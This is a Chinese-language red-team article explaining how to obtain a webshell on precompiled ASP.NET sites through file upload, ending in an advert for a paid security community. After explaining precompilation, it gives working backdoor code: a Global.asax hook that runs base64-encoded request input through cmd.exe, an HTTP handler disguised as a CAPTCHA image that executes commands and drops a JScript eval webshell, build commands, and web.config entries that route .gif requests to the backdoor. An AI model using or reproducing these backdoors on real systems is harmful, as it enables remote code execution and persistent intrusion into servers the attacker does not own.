在攻防演练的这个大背景下,红蓝对抗也逐渐真正的提升到对抗这个层次,这不今天由dotNet安全矩阵星球圈友们组成的微信群里有位群友问起如何突破预编译拿webshell有什么方法,预编译已经够麻烦了,这位师傅还非常有挑战的加上了不考虑跨目录的情况下怎么获取webshell,借师傅这么有挑战的命题笔者系统性的介绍预编译几种不同场景下获取shell的手段,希望本文探讨的这些可行性路径以及达成目标使用的不同方法能在实战中有所帮助。
.NET站点发布时提供一项预编译的能力,可以提升站点运行处理的速度以及保护知识版权,采用了这种预编译模式后站点下的每个.NET文件的内容被标记为 "这是预编译工具生成的标记文件,不应删除!",如果此时上传一个普通的aspx木马,访问后提示 "未预编译文件,因此不能请求该文件",如下图所示,那么这种场景下如何通过文件上传漏洞获取WebShell呢?笔者想到了以下不同场景下的几种变通的方法,在正式介绍方法前首先回顾下预编译的原理。
.NET下的编译方式大致可以分成两种方式,分别为动态编译和预编译。动态编译因为文件以源代码的形式放置于Web容器中,所以对于首次访问编译时需要消耗大量的资源,这样会严重降低Web应用的响应速度,另外代码内容是开放的,容易被篡改导致系统不安全或崩溃,从知识产权来看也不利于保护商业秘密。以上这两点动态编译的劣势也是开发者选择预编译的两种原因,预编译模式下将编译所有的.NET文件,当然HTML、图片、css等静态资源文件不包含在内,在预编译过程中编译器将创建的程序集存储于项目根目录下的Bin文件夹,另外也会同步到一个.NET特殊的目录 %SystemRoot%\Microsoft.NET\Framework\version\Temporary ASP.NET Files 文件夹下,Bin目录下会编译生成两类为文件,一类是扩展名为.compiled,该文件包含指向与该页相应的程序集名称;另一类文件是编译后的扩展名为.dll 的程序集文件。下面笔者分几个小节分别介绍预编译发布过程和生成的结果文件
创建.NET MVC项目后右击选择 发布,系统提供了文件夹、FTP、IIS、云发布等多种途径,笔者选择了传统的IIS发布,发布就绪后配置Release选项,打开预编译详细配置页面,默认情况下系统勾选了 "允许更新预编译站点",这样的好处在于可以很轻松的修改代码,方便应急维护,但不好的方面就是不安全,未能达到保护软件知识版权的目的。如果不勾选“允许更新预编译站点”,项目下的所有aspx文件的内容都将被重写为 “这是预编译工具生成的标记文件,不应删除!”,而文件本身也只是个占位符。
除了图形化界面操作预编译之外,Visual Studio还提供了命令行下的可执行程序aspnet_compiler 预编译.NET项目,具体的命令释义如下
aspnet_compiler -v /Lib -p D:\Project\VisualStudio\Pre\WebForm\test D:\test -fixednames
名称 | 释义 |
-v | 表示指向的虚拟地址路径 /Lib |
-p | 要编译的源Web项目所在文件夹、以及输出的文件夹 |
-fixednames | 表示每个.aspx都编译生成单独的dll文件,并使用固定文件名 |
经过编译后项目文件夹中的所有.aspx, .ashx及App_Code中的.cs文件都会被编译成DLL文件,静态资源文件将原封不动的复制到目的文件夹里。
.NET每一次编译都会生成很多具有.compiled扩展名的保留文件,这个文件本质上是一个XML文件,命名格式如下,其中[page]是页面的名称,[folder-hash]是对页面所在路径的Hash Value,这样做可保证处于同一级目录的所有保留文件具有不同的文件名。
[page].aspx.[folder-hash].compiled
例如笔者本地MVC项目里用到的about.aspx被预编译名为 about.aspx.cdcab7d2.compiled,那么打开再看看里面的XML内容各代表什么意思,打开后如下
<?xml version="1.0" encoding="utf-8"?>
<preserve resultType="3" virtualPath="/Lib/About.aspx" hash="b9c5efb0" filehash="d594de3b3c043afb" flags="110000" assembly="App_Web_2cqo2mgm" type="ASP.about_aspx">
<filedeps>
<filedep name="/Lib/About.aspx" />
<filedep name="/Lib/Site.Master" />
</filedeps>
</preserve>
名称 | 释义 |
virtualPath | 表示aspx页面对应的虚拟地址路径 |
hash | 保留了状态的Hash value |
filehash | 表示依赖文件状态的Hash value |
assembly | 表示编译后对应的程序集名称 |
type | 表示页面编译后对应的http handler |
filedeps | 列表了所有的依赖文件 |
通过hash和filehash的缓存,.NET可以判断自上一次使用以来保留文件和它所依赖的文件是否被改动,如果真的被改动了将会重新编译。
<precompiledApp version="2" updatable="true"/>
aspnet_compiler -v /Lib -p D:\Project\test D:\test -fixednames
如果遇到根目录不可写的场景话,就需要改变打法,用.NET提供的全局文件Global.asax去实现GetShell,Global.asax这个文件是IIS请求和响应必进过的文件,是包含了HTTP会话生命周期各个阶段状态处置的文件。 它继承自System.Web.HttpApplication,它的作用是定义 .NET 应用程序中的所有应用程序对象共有的方法、属性和事件。笔者在 Application_Start 和Application_BeginRequest 两个方法内分别实现启动winver进程和mstsc进程,如下图
Application_Start() 表示在HttpApplication 类的第一个实例被创建时,该事件被触发。它允许你创建可以由所有HttpApplication 实例访问的对象,这是我们程序第一次启动的时候调用的方法,Application_BeginRequest() 表示在接收到一个应用程序请求时触发。对于一个请求来说,它是第一个被触发的事件。在预编译的模式下Global.asax会被编译成App_global.asax.dll 、App_global.asax.compiled 两个文件,将这两个文件上传到Bin目录即可,刷新页面即可执行DLL里的命令。为了更加贴近实战,笔者优化代码加入从外部获取的数据,如下代码所示,DLL已经放在星球工具里,请师父们自取。
private void Application_BeginRequest(object sender, EventArgs e)
{
if (!string.IsNullOrEmpty(HttpContext.Current.Request["content"]))
{
Process.Start("cmd.exe", "/c " + Encoding.GetEncoding("utf-8").GetString(Convert.FromBase64String(HttpContext.Current.Request["content"])));
}
}
例如<add path="*.ashx" type="System.Web.UI.SimpleHandlerFactory" validate="True" verb="*"/> 配置项中path属性是必选的,它的作用是指定路径可以包含单个URL或者简单的通配符字符串如 *.ashx ,表示默认任意文件名的一般处理程序ashx均可通过 System.Web.UI.SimpleHandlerFactory实现HTTP请求和响应, 其它的属性参考下表
属性 | 说明 |
---|---|
name | 处理映射程序的名称 |
type | 必选的,指定程序集组合,一般对应的就是Bin目录下的DLL |
verb | 必选的,支持GET/POST/PUT;也可以是脚本映射如通配符* |
preCondition | 可选属性,集成模式(Integrated)/ 经典模式(Classic) |
validate | 可选的属性,一般为true |
由于System.Web.UI.SimpleHandlerFactory继承于IHttpHandlerFactory,所以我们如果想创建自定义的处置Handlers ,就需要继承IHttpHandler类,笔者编写了一个基于Handlers处理程序的.NET小马,保存名称为IsapiModules.Handler.cs ,主要实现了三个功能,一是生成验证码,二是创建一个aspx的一句话文件,三是执行cmd命令;生成验证码的目的是为了更好的隐藏自己,从HTTP返回的数据里输出的是一张验证码图片,代码如下
public void ProcessRequest(HttpContext context)
{
context.Response.ContentType = "image/JPEG";
string path = context.Request["p"];
string input = context.Request["c"];
if (context.Request["a"] == "c")
{
this.cmdShell(path, input);
}
else if (context.Request["a"] == "w")
{
string input2 = "<%@ Page Language=\"Jscript\"%><%eval(Request.Item[\"dotnet\"],\"unsafe\");%>";
this.CreateFiles(path, input2);
}
Bitmap bitmap = new Bitmap(200, 60);
Graphics graphics = Graphics.FromImage(bitmap);
graphics.FillRectangle(new SolidBrush(Color.White), 0, 0, 200, 60);
Font font = new Font(FontFamily.GenericSerif, 48f, FontStyle.Bold, GraphicsUnit.Pixel);
Random random = new Random();
string text = "ABCDEFGHIJKLMNPQRSTUVWXYZ";
StringBuilder stringBuilder = new StringBuilder();
for (int i = 0; i < 5; i++)
{
string text2 = text.Substring(random.Next(0, text.Length - 1), 1);
stringBuilder.Append(text2);
graphics.DrawString(text2, font, new SolidBrush(Color.Black), (float)(i * 38), (float)random.Next(0, 15));
}
Pen pen = new Pen(new SolidBrush(Color.Black), 2f);
for (int i = 0; i < 6; i++)
{
graphics.DrawLine(pen, new Point(random.Next(0, 199), random.Next(0, 59)), new Point(random.Next(0, 199), random.Next(0, 59)));
}
bitmap.Save(context.Response.OutputStream, ImageFormat.Gif);
}
在命令行下用csc.exe 生成 IsapiModules.Handler.dll ,生成 DLL 的命令如下
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /t:library /r:System.Web.dll -out:C:\inetpub\wwwroot\Bin\IsapiModules.Handler.dll C:\inetpub\wwwroot\IsapiModules.Handler.cs
将生成的 IsapiModules.Handler.dll 上传到当前目录Lib下,做到这步已经完成了GetShell链路的第1部分,笔者已经将这个DLL打包好了,师傅们在星球里可以直接拿去用即可。
<system.webServer>
<handlers accessPolicy="Read, Script, Write">
<add name="PageHandlerFactory ISAPI 2.0 32" path="*.gif" verb="*" type="IsapiModules.Handler,IsapiModules.Handler" preCondition="integratedMode" resourceType="Unspecified"/>
</handlers>
</system.webServer>
但做到这里还不够,因为这样IIS只会去bin目录下寻找IsapiModules.Handler.dll文件,找不到就会抛出异常,可我们上传的dll位于Lib目录下,所以还需要增加一处配置,<probing privatePath="Lib"/> 用于探索指定目录下的程序集并自动加载,如下
<configuration>
<runtime>
<assemblyBinding xmlns="urn:schemas-microsoft-com:asm.v1">
<probing privatePath="Lib"/>
</assemblyBinding>
</runtime>
</configuration>
这样配置后就可以实现具备读写根目录web.config文件,且上传文件不跨越目录的情况下完成GetShell,演示 http://localhost/anywhere.gif?a=c&p=cmd.txt&c=ver 命令执行后将结果保存到cmd.txt文件,如图
另外还可以在Lib目录里同时上传web.config文件和IsapiModules.Handler.dll,但可惜的是在子目录下的web.config文件里配置 <probing privatePath="Lib"/> 这样的扫描探索选项并不生效,导致还是需要在根目录的web.config里配置才可以正常运行,演示地址改成 http://localhost/Lib/any.gif?a=c&p=cmd.txt&c=ver,将会在Lib目录下生成cmd.txt
“
星球优惠活动持续进行,价格直接给到星球最低起步价【¥50】 ,每天只需要1块钱不到,就可以让自己从.NET小白成为高手,因为星球里的资料和教程很少在市面上广泛传播,价值完全划算。【7月也是星球最低价优惠活动最后一个月】,对.NET关注的大伙请尽快加入我们吧!
dotNet安全矩阵知识星球 — 聚焦于微软.NET安全技术,关注基于.NET衍生出的各种红蓝攻防对抗技术、分享内容不限于 .NET代码审计、 最新的.NET漏洞分析、反序列化漏洞研究、有趣的.NET安全Trick、.NET开源软件分享、. NET生态等热点话题、还可以获得阿里、蚂蚁、字节等大厂内推的机会。
”